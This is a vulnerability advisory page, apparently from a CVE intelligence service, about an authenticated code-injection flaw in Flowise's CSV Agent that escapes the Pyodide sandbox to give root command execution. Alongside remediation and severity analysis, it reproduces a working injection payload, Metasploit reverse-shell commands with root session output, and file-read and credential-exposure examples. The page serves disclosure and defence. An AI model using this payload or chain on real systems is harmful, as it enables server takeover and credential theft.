Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Flowise
-
DeliveryCreate CSV Agent chatflow
-
ExploitUpload crafted base64 data-URI CSV
-
InstallBreak out of Python string literal
-
C2Bridge Pyodide js to host Node process
-
ExecuteexecSync child_process as root
-
ImpactRoot reverse shell / data theft
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated Flowise account able to create or run a chatflow that uses the CSV Agent node (the exploit log shows an 'Authentication successful' step and creation of a chatflow before payload delivery); the CSV Agent feature must be reachable. The injected data-URI base64 string must contain no commas, because csvFile.split(',') splits the payload on every comma - the documented payload works around this. Exploitation is limited by the need for valid credentials (PR:L, not unauthenticated) and by the target running the vulnerable CSV Agent code path in flowise/flowise-components <= 3.1.2; impact is maximized when Flowise runs as root in a container, which is the common default. |
| Impact | The reported CVSS v3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical) is consistent with the described attack: network-reachable, low complexity, requiring only low-privilege authentication, with a scope change reflecting the Pyodide-sandbox-to-host escape and full CIA impact. Real-world risk is high because publicly available exploit code exists (a Metasploit module, flowise_csv_agent_rce, and a demonstrated root Meterpreter session on Flowise 3.1.2), the process runs as root/PID 1 in typical container deployments, and a vendor patch is available so the details are public. The main limiting factor is the PR:L authentication requirement - an attacker needs valid credentials (or an unauthenticated/weakly-authenticated Flowise instance) to create the malicious chatflow. No EPSS score and no CISA KEV entry were provided; absence from KEV means active in-the-wild exploitation is not confirmed, so prioritization should rest on the confirmed POC plus the trivial post-auth exploitability rather than on KEV/EPSS signals, which are missing here. |
| Exploit ScenarioDerived | An authenticated Flowise user uploads a crafted CSV data URI to a CSV Agent chatflow whose base64 payload breaks out of the Python string and imports the js bridge to reach the host process. Because attack complexity is low (AC:L) and only low privileges are required (PR:L), the injected command runs as root in the container, giving the attacker a reverse shell. A public Metasploit module (flowise_csv_agent_rce) automates the whole chain to a root Meterpreter session. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 04, 2026
Remote code execution in FlowiseAI Flowise (npm packages flowise and flowise-components) versions 3.1.2 and earlier lets an authenticated user achieve root command execution on the host by injecting Python into the CSV Agent's Pyodide sandbox, which bridges back to the host Node.js process. Attackers reach OS command execution, credential theft, arbitrary file read, and server crash. A working Metasploit module and root Meterpreter session are documented, so publicly available exploit code exists, though the flaw is not listed in CISA KEV.
RemediationAI
Upgrade to Flowise 3.1.3 or later, which contains the fix (Vendor-released patch: 3.1.3; released tag https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3, PR https://github.com/FlowiseAI/Flowise/pull/6499, commit f4e2794f6a576b94578f2fdafbf49c2fb304626c). The patch removes/deprecates the vulnerable agent path; the upstream recommended code fix is to bind the value via pyodide.globals.set('base64_string', base64String) instead of string interpolation, or to reject any base64 not matching /^[A-Za-z0-9+/=]*$/ before interpolation. If you cannot patch immediately, disable or remove the CSV Agent (and the related Airtable Agent) nodes so untrusted users cannot invoke the Pyodide code path, restrict Flowise to trusted authenticated operators only and place it behind network access controls, and avoid running the container as root (drop to an unprivileged UID) to blunt the impact of any code execution - note these controls reduce functionality (loss of CSV/Airtable agent features) and do not fully close the injection, so patching remains the priority.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability lives in the CSV Agent node (packages/components/nodes/agents/CSVAgent/CSVAgent.ts). A base64 string extracted from an uploaded data-URI CSV file is interpolated directly into a Python source template (base64_string = "${base64String}", around lines 155-171) that Flowise then runs inside Pyodide (WebAssembly-based CPython). Because the value is concatenated into a Python string literal without escaping, a payload containing a closing double-quote can break out of the string and inject arbitrary Python - the classic CWE-94 code-injection pattern. The validatePythonCodeForDataFrame() denylist that would catch dangerous calls is only applied to LLM-generated code (line 198), not to this initial interpolated block. Once inside Pyodide, the js bridge exposes the host globalThis, allowing process.mainModule.constructor._load('child_process').execSync() to bypass the ESM require restriction and spawn OS processes; process.binding('fs') enables arbitrary file read and spawn_sync calls can crash Node.js.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable and low-complexity but requires low-privilege authentication (PR:L); Pyodide-sandbox escape to host warrants S:C, with full C/I/A impact including root command execution and DoS.
Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).
CVSS VectorVendor: https://github.com/FlowiseAI/Flowise
DescriptionCVE.org
UPDATE 2026-05-20: Full RCE as root VERIFIED
This is not theoretical - a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.
Verified Exploit Chain
- Python code injection via
base64_string = "${base64String}"(CSVAgent.ts line 161) - Pyodide
jsbridge provides access to the host Node.js process process.mainModule.constructor._load('child_process')loads child_process (bypasses ESM require restriction).execSync('CMD')executes arbitrary OS commands as root (PID 1 in container)
Working RCE Payload
";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");
#Constraint: No commas allowed in payload - csvFile.split(',') splits on all commas.
Metasploit Session Proof
msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit
[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : cbce3fb352b7
OS : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter : x64/linux
meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 LinuxAdditional Verified Impact
Credential Theft:
FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7
Server DoS - certain native binding calls (spawn_sync) crash the Node.js process entirely.
CVSS v3.1: 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
---
Original Report (below)
Vulnerable Code
File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
Lines 133-138 - Unsanitized string extraction from data URI via file.split(',').pop().pop() - no validation on content.
Lines 155-171 - Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.
validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.
Remediation
Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation
Option 2: Validate base64 before interpolation - reject if not matching /^[A-Za-z0-9+/=]*$/
Option 3: Escape special characters (", \n, \r, \\) before interpolation
Related CVEs
- CVE-2026-41264 (CSV Agent regex bypass)
- CVE-2026-41265 (Airtable Agent sandbox bypass)
- CVE-2026-46442 (NodeVM sandbox escape)
Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.
Articles & Coverage 1
Executive ViewAI
FlowiseAI Flowise (npm packages flowise and flowise-components) versions 3.1.2 and earlier contain a critical authenticated remote code execution vulnerability that allows attackers to execute arbitrary commands with root privileges on affected servers. Organizations deploying Flowise are at immediate risk of complete infrastructure compromise, including credential theft and data exfiltration, especially in environments managing sensitive AI workflows or customer data.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-52745
GHSA-vmv7-4m6c-3cg5
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB